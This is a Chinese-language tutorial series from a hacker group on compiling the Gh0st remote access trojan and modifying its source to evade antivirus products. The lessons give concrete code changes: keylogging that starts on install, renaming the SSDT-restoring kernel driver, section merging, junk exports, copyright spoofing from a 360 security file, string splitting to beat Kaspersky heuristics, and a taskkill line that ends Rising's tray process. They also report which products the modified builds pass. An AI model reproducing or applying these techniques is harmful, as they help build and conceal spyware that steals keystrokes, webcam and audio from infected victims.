暗組Gh0st編譯免殺系列教程


暗組Gh0st編譯免殺系列教程1_編譯前的准備工作


**********************************************
暗安全技術小組(暗組)   
www.darkst.com
我們創造的不是技術,不是成果,而是我們的精神。
我們賦予暗組以靈魂,並將永遠延續。
無盡的黑暗,無盡的追求;
為技術而生,共享,自由。
**********************************************

 

————————————————————

第一課改后的源碼下載地址:

http://torrent.qupan.com/963588.html

————————————————————

教程下載地址:

http://torrent.qupan.com/963218.html

————————————————————

 

 


                             暗組Gh0st編譯免殺系列教程1_編譯前的准備工作

 


做教程之前先說明下,我自己也還不怎么懂VC++,只是把我知道的東西教給大家了,呵呵

大牛就飄過吧...


先做好以下步驟:
————————————————————————————

安裝vc++6.0
SDK包更新
安裝DDK2003(編譯驅動要用到這個)
去除硬盤鎖(硬盤鎖不是好玩的東西,所以還是注釋掉好了)
編譯生成

————————————————————————————


以上這些我就不多說了,網上也出來了不少這樣的教程

參考教程:
http://www.3800hk.com/donghua/f/24166.html
http://www.heibai.net/download/Soft/Soft_13829.htm

DDK下載址:
http://www.seegle.cn/temp/winxpddk.zip

SDK下載址:
http://www.namipan.com/d/VC98.rar/184e40de31642ee25251a35e1efcefbdc011226249be0e04

 

 

然后我們來改下界面吧,改的好看點 o(∩_∩)o...

 

1.把菜單欄顯示出來,把下面這個注釋掉就可以了
// 去掉菜單欄
m_pMainWnd->SetMenu(NULL);

————————————————————————————

2.

gh0st\MainFrm.cpp(改界面高度、寬度等)


BOOL CMainFrame.:PreCreateWindow(CREATESTRUCT& cs)
{
if( !CFrameWnd::PreCreateWindow(cs) )
   return FALSE;
// TODO: Modify the Window class or styles here by modifying
// the CREATESTRUCT cs
// cs.cx = 646;
cs.cx = 800;     //改寬度

/*
if (((CGh0stApp *)AfxGetApp())->m_bIsQQwryExist)   //存在QQwry.dat界面就加長100,注釋掉
{
   cs.cx += 100;
}
*/

// cs.cy = 310;
cs.cy = 500;     //改高度
cs.style. &= ~FWS_ADDTOTITLE;
cs.lpszName = "Gh0st 個人版";    //改名稱
return TRUE;
}

————————————————————————————

COLUMNSTRUCT g_Column_Data[] =
{
// {"ID",     48 },
{"上線ID",     48 },
// {"WAN",     102 },
{"廣域網IP",     102 },
// {"LAN",     102 },
{"局域網IP",     102 },
{"計算機名/備注", 107 },
{"操作系統",   128 },
{"CPU",     55 },
{"Ping",    40 },
// {"攝像頭",    51 },
{"視頻狀態",   60 },
// {"區域",    100 }
{"地理位置",    100 }
};

————————————————————————————

3.改彈出的提示

   strToolTipsText.Format("上線主機信息:\n主機名: %s\nIP : %s\n系統: Windows %s", LoginInfo->HostName, IPAddress, strOS);
//    strToolTipsText += "\nArea: ";
    strToolTipsText += "\n地理位置:";

    //m_TrayIcon.Create(this, WM_ICON_NOTIFY, "Running ....",
    m_TrayIcon.Create(this, WM_ICON_NOTIFY, "正在運行 ....",

————————————————————————————

4.改彈出菜單(這樣改可以讓免殺的時候卸載服務端方便點)

IDR_LIST MENU DISCARDABLE
BEGIN
    POPUP "MENU"
    BEGIN
        POPUP "主機管理(&S)"
        BEGIN
            MENUITEM "卸載(&U)",                    IDM_REMOVE
            MENUITEM SEPARATOR
      MENUITEM "斷開(&D)",        IDM_DISCONNECT
            MENUITEM "注銷(&L)",                    IDM_LOGOFF
            MENUITEM "重啟(&R)",                    IDM_REBOOT
            MENUITEM "關機(&S)",                    IDM_SHUTDOWN
        END
        MENUITEM SEPARATOR
        MENUITEM "文件管理(&F)",                IDM_FILEMANAGER
        MENUITEM "屏幕控制(&C)",                IDM_SCREENSPY
        MENUITEM "鍵盤記錄(&K)",                IDM_KEYBOARD
        MENUITEM "遠程終端(&T)",                IDM_REMOTESHELL
        MENUITEM "系統管理(&M)",                IDM_SYSTEM
        MENUITEM "視頻查看(&V)",                IDM_WEBCAM
        MENUITEM "語音監聽(&W)",                IDM_AUDIO_LISTEN
        MENUITEM "下載執行(&D)",                IDM_DOWNEXEC
        MENUITEM "免殺更新(&U)",                IDM_UPDATE_SERVER
        POPUP "訪問網址(&V)"
        BEGIN
            MENUITEM "隱藏(&H)",                    IDM_OPEN_URL_HIDE
            MENUITEM "顯示(&S)",                    IDM_OPEN_URL_SHOW
        END
        MENUITEM "清除日志(&C)",                IDM_CLEANEVENT
        MENUITEM "更改備注(&R)",                IDM_RENAME_REMARK
        MENUITEM SEPARATOR
        MENUITEM "選擇全部(&A)",                IDM_SELECT_ALL
        MENUITEM "取消選擇(&U)",                IDM_UNSELECT_ALL
    END
END

————————————————————————————

5.斷開連接、注銷、重啟、關機的時候彈出警告,防止關機什么的時候什么都不提示


void CGh0stView::OnDisconnect()
{
if (MessageBox("確認斷開連接嗎? 斷開連接后,必須等待服務端重啟后才能控制對方了!", "警告", MB_YESNO | MB_ICONWARNING) == IDNO)
   return;
POSITION pos = m_pListCtrl->GetFirstSelectedItemPosition();
while (pos)
{
   m_pListCtrl->DeleteItem(m_pListCtrl->GetNextSelectedItem(pos));
}
}

——————

void CGh0stView::OnLogoff()
{
if (MessageBox("確認注銷嗎?", "警告", MB_YESNO | MB_ICONWARNING) == IDNO)
return;
// TODO: Add your command handler code here
BYTE bToken[2];
bToken[0] = COMMAND_SESSION;
bToken[1] = EWX_LOGOFF | EWX_FORCE;
SendSelectCommand((LPBYTE)&bToken, sizeof(bToken));
}

void CGh0stView::OnReboot()
{
if (MessageBox("確認重啟嗎?", "警告", MB_YESNO | MB_ICONWARNING) == IDNO)
return;
// TODO: Add your command handler code here
BYTE bToken[2];
bToken[0] = COMMAND_SESSION;
bToken[1] = EWX_REBOOT | EWX_FORCE;
SendSelectCommand((LPBYTE)&bToken, sizeof(bToken));
}

void CGh0stView::OnShutdown()
{
if (MessageBox("確認關機嗎?", "警告", MB_YESNO | MB_ICONWARNING) == IDNO)
return;
// TODO: Add your command handler code here
BYTE bToken[2];
bToken[0] = COMMAND_SESSION;
bToken[1] = EWX_SHUTDOWN | EWX_FORCE;
SendSelectCommand((LPBYTE)&bToken, sizeof(bToken));
}


————————————————————————————

6.安裝木馬后直接打開鍵盤記錄的方法:

安裝服務端后,判斷是否存在syslog.dat這個文件,如果有,則自動開啟離線記錄,如果沒有就默認不開啟鍵盤記錄。

在文件KernelManager.cpp里加入下面的代碼就可以了,來測試下是否安裝了木馬之后就打開了鍵盤記錄

//安裝木馬即開始鍵盤記錄
char strRecordFile[MAX_PATH];
GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
lstrcat(strRecordFile, "
\\syslog.dat");
DeleteFile(strRecordFile);
    if (GetFileAttributes(strRecordFile) == -1)
    {
        HANDLE hFile = CreateFile(strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
                CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        CloseHandle(hFile);
    }


7.讓打開控制端的時候界面顯示在屏幕**,這個Gh0st打開之后老是顯示在做上角,不舒服,所以改下 ^_^

int CMainFrame.:OnCreate(LPCREATESTRUCT lpCreateStruct)
{
this ->CenterWindow(CWnd::GetDesktopWindow());     //加上這句話就可以了
...


8. 再改下文件生成和調用的地方,把sys、dll、exe都改到Bin目錄里去

原來的生成位置是這樣的:

Gh0st\Server\install\res\svchost.dll    這個是生成的dll文件
Gh0st\gh0st\res\install.exe             這個是生成的exe文件

其中svchost files是dll的工程
    install files是exe的工程


dll生成位置:(生成的dll的名稱是和dll的輸出表有關的)
../install/res/svchost.dll   //原來的輸出表里的dll名稱是svchost.dll
../bin/avcenter.dll       //我們來改下生成的名稱和位置,生成的是avcenter.dll了吧,所以我們在免殺的時候,這個
                             //輸出表的dll名稱是可以亂改的,只是編譯的時候生成的名稱而已,不會影響功能

 

exe生成位置:
../gh0st/res/install.exe //原來的生成位置
../bin/install.exe

改了生成的位置之后還得改資源調用的位置,要不然還是在調用原來位置的dll和exe


dll資源調用:
//IDR_DLL                 BIN     DISCARDABLE     "res\\svchost.dll"
IDR_DLL                 BIN     DISCARDABLE     "..\\..\\bin\\avcenter.dll"


exe資源調用:
//IDR_BSS                 BSS     DISCARDABLE     "res\\install.exe"
IDR_BSS                 BSS     DISCARDABLE     "..\\bin\\install.exe"


sys資源調用:
//IDR_SYS                 BIN     DISCARDABLE     "..\\sys\\RESSDT.sys"
IDR_SYS                 BIN     DISCARDABLE     "..\\..\\bin\\RESSDT.sys"


現在都生成到bin目錄里去了吧,這樣就方便了,省的到處去找生成的東西

還得把sys也復制到Bin目錄里去,編譯下看看

 

9.

最后就是改下圖標什么的啦,在這個目錄里(Gh0st\gh0st\res),自己去找合適的ico圖標來改吧。

 

呵呵,好了。其他的就自己想怎么改就怎么改吧,我就不多說了

 

 

洪流

2008.12.18

暗組Gh0st編譯免殺系列教程2_驅動文件編譯方法一

2008-12-20 07:58


**********************************************
暗安全技術小組(暗組)   
www.darkst.com
我們創造的不是技術,不是成果,而是我們的精神。
我們賦予暗組以靈魂,並將永遠延續。
無盡的黑暗,無盡的追求;
為技術而生,共享,自由。
**********************************************


                                          暗組Gh0st編譯免殺系列教程2_驅動文件編譯方法1

 

命令行編譯驅動

 

1.改RESSDT字符串(一共5個地方)

先搜索RESSDT,改為什么都行,比如我改為avcenter

//        RtlInitUnicodeString(&DerName,L"\\Device\\RESSDT");
        RtlInitUnicodeString(&DerName,L"
\\Device\\avcenter");

//        RtlInitUnicodeString(&DerName2,L"\\??\\RESSDTDOS");
        RtlInitUnicodeString(&DerName2,L"
\\??\\avcenterDOS");

//        hDriver = CreateFileA( "\\\\.\\RESSDTDOS",
        hDriver = CreateFileA( "
\\\\.\\avcenterDOS",

//TARGETNAME=RESSDT        //這個得搜索所有文件才可以搜索到了,這個是生成驅動的名稱
TARGETNAME=avcenter

//SOURCE=..\sys\RESSDT.sys(這里不能用注釋符號 ..\..\bin\RESSDT.sys表示生成到Bin目錄里去)
SOURCE=..\..\bin\avcenter.sys

還得改下上個教程里sys資源調用:
//IDR_SYS                 BIN     DISCARDABLE     "..\\sys\\RESSDT.sys"
IDR_SYS                 BIN     DISCARDABLE     "..\\..\\bin\\avcenter.sys"

 

2.然后再給驅動文件加點花指令,或者也可以再把那個DbgPrint前的注釋去掉

或者加個sprintf也可以:

#include <stdio.h> //先加個文件頭
sprintf("aaaaaaa", "bbbbbbbbb", 123);

反正改的越多殺軟就越難查殺


3.還可以合並下區段:合並區段是個很重要的方法,特別是在下個教程里你可以看到它的效果

#pragma   comment(linker, "/merge:.rdata=.data ")       //把.rdata區段合並到.data里去
#pragma   comment(linker, "/merge:.text=.data ")        //把.text區段合並到.data里去

合並后驅動文件的大小就由3K變成了2K了,這個還可以使你的木馬變小


4.

在命令行編譯驅動也有兩個方法,第二個方法快點...

—————————————————————————————————————————————————

改完后把Server里的sys文件夾復制到DDK安裝目錄里,然后在cmd里運行命令

cd\                                                    (來到C盤根目錄)
C:\WINDDK\2600\bin\setenv.bat C:\WINDDK\2600 chk       (這個命令得看你的DDK安裝在哪)
cd sys                                                 (進入sys目錄)
build                                                  (編譯sys文件)

—————————————————————————————————————————————————

或者直接來到這里,進入sys文件夾去編譯

開始\Development Kits\Windows DDK 2600\Build Environments\Win XP Free Build Environment

—————————————————————————————————————————————————

改下輸入表的大小看看過瑞星不?

編譯生成之后再去看看sys文件里的字符串哪些變了

這樣改后還是有很多殺軟會殺的,再給驅動文件加個輸入表就可以免殺很多,但我現在還不會,呵呵


5.手動免殺其他殺軟

小紅傘:移動ntoskrnl.exe到驅動文件的最后

nod32:改子系統

瑞星:改輸出表大小為30

avg:填充掉文件頭上的那些東西

改后就剩下兩個殺軟殺了

 

.

.

教程下載地址:
http://torrent.qupan.com/971151.html

 

.

暗組Gh0st編譯免殺系列教程3_驅動文件編譯方法二

 

2008-12-20 08:00


**********************************************
暗安全技術小組(暗組)   
www.darkst.com
我們創造的不是技術,不是成果,而是我們的精神。
我們賦予暗組以靈魂,並將永遠延續。
無盡的黑暗,無盡的追求;
為技術而生,共享,自由。
**********************************************

 

                                       暗組Gh0st編譯免殺系列教程3_驅動文件編譯方法2

 

方法2:新建工程編譯驅動

 

接着上個教程來編譯驅動


1.新建工程,在avcenter目錄里添加sys的源碼文件,共3個【makefile、RESSDT.c、sources】


2.工程配置


3.把批處理文件MakeDrvr.bat,放到avcenter目錄里


4.工程設置

C:\Gh0st\avcenter\MakeDrvr C:\WINDDK\2600 C: C:\Gh0st\avcenter free
-nmake /a

把sys文件生成到Bin目錄里去

..\..\bin\avcenter


5.編譯

卡巴的ssdt清除不掉...

.

.

教程下載地址:
http://torrent.qupan.com/975876.html

.

 

 

 

 

 

 

.暗組Gh0st編譯免殺系列教程4_dll和exe編譯免殺過常見殺軟

2008-12-20 10:59



**********************************************
暗安全技術小組(暗組)   
www.darkst.com
我們創造的不是技術,不是成果,而是我們的精神。
我們賦予暗組以靈魂,並將永遠延續。
無盡的黑暗,無盡的追求;
為技術而生,共享,自由。
**********************************************


    這個學期的期末考試完了,所以就把教程一口氣都做出來了...

 

 


                                   暗組Gh0st編譯免殺系列教程4_dll和exe編譯免殺過常見殺軟

 


針對國內的殺軟,一般只要去研究怎么改字符串和輸出表就可以了,因為只有這些才會被它們追殺

覺得很多人用的編譯后根據文件特征碼,到源碼里找代碼的方法是很不明智的,那樣的源碼免殺不僅浪費時間,而且目的性太強

不要忘了我們源碼免殺的目的不再像特征碼免殺那樣了,我們要的效果是免殺的效果更好、免殺的時間更長

所以免殺的時候也不要去管代碼里的特征碼,只管字符串、輸出表、輸入表

代碼里的特征碼只要在源碼里稍微做點修改就會消失的

而對付國外的殺軟,不僅要研究字符串和輸出表,還得研究輸入表

 

1.區段合並法(區段合並后就過了很多了)

svchost files/svchost.cpp
//#pragma comment(linker, "/OPT:NOWIN98")
#pragma comment(linker, "/opt:nowin98 /IGNORE:4078 /MERGE:.rdata=.text /MERGE:.data=.text /section:.text,ERW")
//把.rdata、.data合並到.text區段里去,/section:.text,ERW"這個是設置區段的讀寫權限

我們分別生成一個,再來比較下他們的區段,合並區段后,代碼的變化是巨大的,所以很多殺軟都不查殺了

但我們還得改下字符串,因為有些字符串被殺軟查殺


2.字符串分割法

下個教程里對付卡巴啟發會用到,這里就不提了


3.改字符串大小寫

這是個需要很大耐心,呵呵

自己慢慢去改吧,改的越多免殺的效果就越好、免殺也越長久

 

// if (strstr(lpURL, "http://") == NULL && strstr(lpURL, "https://") == NULL)
if (strstr(lpURL, "HTTP://") == NULL && strstr(lpURL, "HTTPS://") == NULL)    //這個不能改大小寫,改了不能用http上線了


4.加輸出表函數

其中ResetSSDT這個輸出表函數被卡巴啟發殺,下個教程講怎么改這個函數

extern "C" __declspec(dllexport) void ServiceMain(int argc, wchar_t* argv[]);
extern "C" __declspec(dllexport) bool ResetSSDT();
extern "C" __declspec(dllexport) bool whm();
extern "C" __declspec(dllexport) bool Rool();

輸出表的排列是按首字母順序排列的

extern "C" __declspec(dllexport) bool whm()
{
        return false;
}
extern "C" __declspec(dllexport) bool Rool()
{
        return false;
}

 

5.改文件版權為360安全衛士里AntiActi.dll文件的版權(過金山清理專家、360安全衛士惡意掃描、360安全衛士木馬查殺)

替換掉.rc文件里的版權信息就可以了,exe文件得先給它加個版權

版權所在的文件:
C:\Gh0st\Server\svchost\svchost.rc
C:\Gh0st\Server\install\install.rc

 

6.搜索Sleep,加花

這里搜索Sleep的原因是Sleep是延時的,所以加幾個nop也可以起一點點的延時的作用吧

當然你也可以在其他地方加啦,看我怎么加吧(我就加3個nop的花了,大家可以加長點,因為nop加的多了會卡死)


__asm
{
nop
}


汗 算了 不加了 老是卡死


7.改配置信息AAAAAA、CCCCCC
//                        file.Write("AAAAAA", 6);
                        file.Write("HHHHHH", 6);
//        lpEncodeString = (char *)FindConfigString(hInstance, "AAAAAA");
        lpEncodeString = (char *)FindConfigString(hInstance, "HHHHHH");
//        char        *lpURL = (char *)FindConfigString(CKeyboardManager::g_hInstance, "AAAAAA");
        char        *lpURL = (char *)FindConfigString(CKeyboardManager::g_hInstance, "HHHHHH");

//                        file.Write("CCCCCC", 6);
                        file.Write("XXXXXX", 6);
//        lpServiceConfig = (char *)FindConfigString(hInstance, "CCCCCC");
        lpServiceConfig = (char *)FindConfigString(hInstance, "XXXXXX");


8.過瑞星卡卡,呵呵,結束進程的,好像暴力了點,加在exe的入口就可以了

WinExec ("taskkill /f /t /im RSTray.exe", SW_HIDE);

好了 教程就到這吧 下個教程講過卡巴的啟發 呵呵

教程下載地址:
http://torrent.qupan.com/978460.html

 

 

暗組Gh0st編譯免殺系列教程5_Gh0st過卡巴啟發非延時

2008-12-20 11:00

 

**********************************************
暗安全技術小組(暗組)   
www.darkst.com
我們創造的不是技術,不是成果,而是我們的精神。
我們賦予暗組以靈魂,並將永遠延續。
無盡的黑暗,無盡的追求;
為技術而生,共享,自由。
**********************************************

 

                                         暗組Gh0st編譯免殺系列教程5_Gh0st過卡巴啟發非延時

 


卡巴2009的啟發殺毒殺在生成的服務端末尾配置信息上,或者說是數據流吧

這個我們該怎么來過它呢?其實它殺的是字符串,只要字符串改了,卡巴啟發也就不會追殺過來了

下面的是以前流傳的過卡巴啟發代碼,現在這個對卡巴啟發沒什么用了

^_^ 公布了的東西就是被封殺的快啊

不過沒沒有交流,哪有發展呢   呵呵 所以我才冒着被大牛嘲笑的風險來發布這個系列教程的

再說,這個代碼也不怎么好,延遲十多秒不說,上線的時候占用93%還多,特別卡

SYSTEMTIME hi;
int iCounter;
GetLocalTime(&hi);
iCounter = hi.wSecond;

if( iCounter >49 )
iCounter=iCounter-50;
else
iCounter=iCounter+10;

while(1)
{
GetLocalTime(&hi);
if(hi.wSecond == iCounter)
   break;
}


——————————————————————————————————————————————————


1.改ResetSSDT字符串:(這個也被瑞星殺,這個是一個輸出表函數)

搜索ResetSSDT,改為CCenter,共8個地方


//bool ResetSSDT(HMODULE        hModule)
bool CCenter(HMODULE        hModule)

//                LPResetSSDT        ResetSSDT = (LPResetSSDT)GetProcAddress(hDll, "ResetSSDT");
                LPResetSSDT        CCenter = (LPResetSSDT)GetProcAddress(hDll, "CCenter");

//                if (ResetSSDT == NULL)
                if (CCenter == NULL)

//                ResetSSDT();
                CCenter();

//                ResetSSDT();
                CCenter();

//        ResetSSDT(hInstance);
        CCenter(hInstance);

//extern "C" __declspec(dllexport) bool ResetSSDT();                        //原來的
extern "C" __declspec(dllexport) bool CCenter();                                               

//extern "C" __declspec(dllexport) bool ResetSSDT()
extern "C" __declspec(dllexport) bool CCenter()

 


2.把netsvcs_0x%d改為NETSVCS_0x%x
//                wsprintf(servicename, "netsvcs_0x%d", i);
                wsprintf(servicename, "NETSVCS_0x%x", i);


總結:

卡巴的很多啟發都是在字符串上的,但我們定位出來的特征碼又不在字符串上,這時候無論我們怎么改代碼、怎么跳轉都不能免殺,

或者改了之后要不不能上線,要不不能免殺。那就很可能是啟發在作怪了

如果這樣的話,我們就先去分析下這個木馬的字符串,分析字符串的時候不能用00去填充,得手動一個一個的去分析

找卡巴啟發字符串的方法:

用大小寫互換的方法來找,而不是用00去填充,那樣會找不出來的。因為00填充破壞了卡巴啟發查殺的條件

那樣卡巴的啟發就不會繼續下去了,所以找不到真正的啟發特征碼

 


3.和別的字符串沒什么關聯的,或者說只搜索到了一個字符串的,就可以直接改了

Global\\Gh0st %d
//                wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 隨機事件名
                wsprintf(strKillEvent, "Global\\Torrent %d", GetTickCount()); // Gh0st隨便改成什么都可以

 

4.這個也被卡巴殺
//        char Win2k[]="RasDialParams!%s#0";
        char Win2k[]="RasDialParams-2k-!%s#0";
//        char WinXP[]="L$_RasDefaultCredentials#0";
        char WinXP[]="L$_RasDefaultCredentials-XP-#0";

 


5.字符串連接法

有些不能改大小寫的字符串,或者不好改的,比如%s%s%s   %s%s*.* 這樣的,都可以用這個方法來解決

現在卡巴殺的是這個字符串:#32770   一個窗口類名

//////////////////////////////////////////////////////////

//把字符串"#32770"連接起來(字符串連接法)
char *str1="#32", *str2="770",*str3=NULL;
str3=new char[strlen(str1)+strlen(str2)+1];
strcpy(str3,str1);                                 //把str1所指由NULL結束的字符串復制到str3所指的數組中
strcat(str3,str2);                                 //把str2所指字符串添加到str3結尾處(覆蓋dest結尾處的'\0')並添加'\0'
                                                   //這樣就實現了str3=str1+str2,把str1和str2連接起來了
//////////////////////////////////////////////////////////

 

//        m_hWnd = CreateWindow("#32770", /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
        m_hWnd = CreateWindow(str3, /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);


也許在教給大家這個以后卡巴還會增加啟發特征碼,但相信大家學會了方法就足以應付它了

我們再來用這個方法改個字符串 %s%s%s

 


—————————————————————————————————————

這樣改了之后,我測試過了以下殺軟:

瑞星、金山、卡巴、江民、驅逐艦、360殺毒、F-Port、avast!、avg、

麥咖啡、諾頓、安博士、趨勢,Symantec Antivirus,熊貓衛士

Windows清理助手、費爾托斯特、鍵盤記錄過360保險箱

過了瑞星卡卡、金山清理專家、360安全衛士惡意掃描、360安全衛士木馬查殺

360安全衛士提示服務,阻止了還在,重啟還在。

過不了nod32、小紅傘、大蜘蛛

—————————————————————————————————————


所以改源碼關鍵是得去改字符串和輸出表、輸入表,而不是還去定位代碼里的特征碼,那樣只會費時費力。

當然,定位特征碼也是不可缺少的,上面的這些被殺字符串就是通過定位得到的,也就是說,定位在代碼里的特征碼就先不去管它

先把字符串解決了,如果改了字符串或輸出表等之后還是殺在代碼段,那樣才去定位下代碼里的特征碼

 

剩下nod32和小紅傘,我現在也只能改特征碼過他們,不知道大家有什么好方法能源碼免殺他們,還希望分享出來哈

畢竟nod32和小紅傘不是國內的殺軟,公布出來也應該不會殺的太快吧,再說只有大家進步了技術才會進步嘛

這個教程的源碼我就打包給大家吧

好了,Gh0st的編譯教程到這里也該告一段落了,謝謝大家的觀看 o(∩_∩)o...

 


教程下載地址:
http://torrent.qupan.com/978600.html

 

暗組Gh0st編譯免殺系列教程6_去除sys驅動文件

2009-01-06 13:53


**********************************************
暗安全技術小組(暗組)   
www.darkst.com
我們創造的不是技術,不是成果,而是我們的精神。
我們賦予暗組以靈魂,並將永遠延續。
無盡的黑暗,無盡的追求;
為技術而生,共享,自由。
**********************************************

 

                          暗組Gh0st編譯免殺系列教程6_去除sys驅動文件


鑒於現在利用驅動程序在ring0態恢復SSDT HOOK(鈎子),使部分安全軟件的主動防御和監控失效的功能

已經被很多殺軟主動攔截或者驅動文件本身對於殺軟已經失效,所以現在做這個教程...

還是拿上次第五個教程后的源碼來改   o(∩_∩)o...

去除sys文件無非就是把調用了這個功能的地方注釋掉就可以了,然后再去除sys的資源調用,就不會再

加載驅動恢復SSDT了,現在看我做吧


上次我們把ResetSSDT改成了CCenter,所以現在就搜索CCenter然后注釋掉就可以了

1.注釋掉CCenter


2.注釋掉資源調用

IDR_SYS                 BIN     DISCARDABLE     "..\\..\\bin\\avcenter.sys"

注釋掉這句就可以了

3.刪掉Gh0st\Server\svchost\common\resetssdt.h頭文件,再注釋掉下面這句

//#include "common/resetssdt.h"

去掉了這些也可能還有些沒去掉,但已經不會再調用了sys了

呵呵 已經沒有sys文件了吧,再看看運行的時候會不會釋放或者調用sys文件

監視sys是否釋放,沒有吧

 

——————————————————————————————————————————

 

然后我們再來改下界面吧   ^_^

在gh0st工程的CMainFrame的OnCreate函數里,return 0之前加上下面的代碼:


LOGFONT lf = {13, 0, 0, 0, FW_NORMAL, 0, 0, 0,
DEFAULT_CHARSET, OUT_CHARACTER_PRECIS, CLIP_CHARACTER_PRECIS,
DEFAULT_QUALITY, DEFAULT_PITCH | FF_DONTCARE, "宋體"};    //設置字體為宋體
m_wndTab.SetControlFont(lf, TRUE);
m_wndTab.ModifyStyle(CTCS_LEFT, CTCS_TOP, 0);               //將標簽放到上面


然后改下高度:

//CRect(0, 0, 0, 15),   //這個是改高度的
CRect(0, 0, 0, 25),     //改為25


再把標簽里的文字改為中文:

Connections ——> 上線主機

// ((CMainFrame*)AfxGetApp()->m_pMainWnd)->AddView("Connections", this, "Connections Users");
((CMainFrame*)AfxGetApp()->m_pMainWnd)->AddView(" 上線主機 ", this, "上線主機");

 

settings    ——> 服務設置

// ((CMainFrame*)AfxGetApp()->m_pMainWnd)->AddView("Settings", pSettingsView, "Control Settings");
((CMainFrame*)AfxGetApp()->m_pMainWnd)->AddView(" 服務設置 ", pSettingsView, "服務設置");

 

build      ——> 生成服務端

// ((CMainFrame*)AfxGetApp()->m_pMainWnd)->AddView("Build", pBuildView, "Build Server");
((CMainFrame*)AfxGetApp()->m_pMainWnd)->AddView(" 生成服務端 ", pBuildView, "生成服務端");


還有,我們應該都有這樣的經歷吧,Gh0st編譯后,文件夾里就很多臨時文件了,這樣就導致編譯的文件夾很大,用這個工

具可以刪掉臨時文件,其他的也沒什么了,呵呵   想到了再做教程吧

 

                                                                                      洪流免殺交流群:74337630

 

教程下載地址:

http://torrent.qupan.com/1325088.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM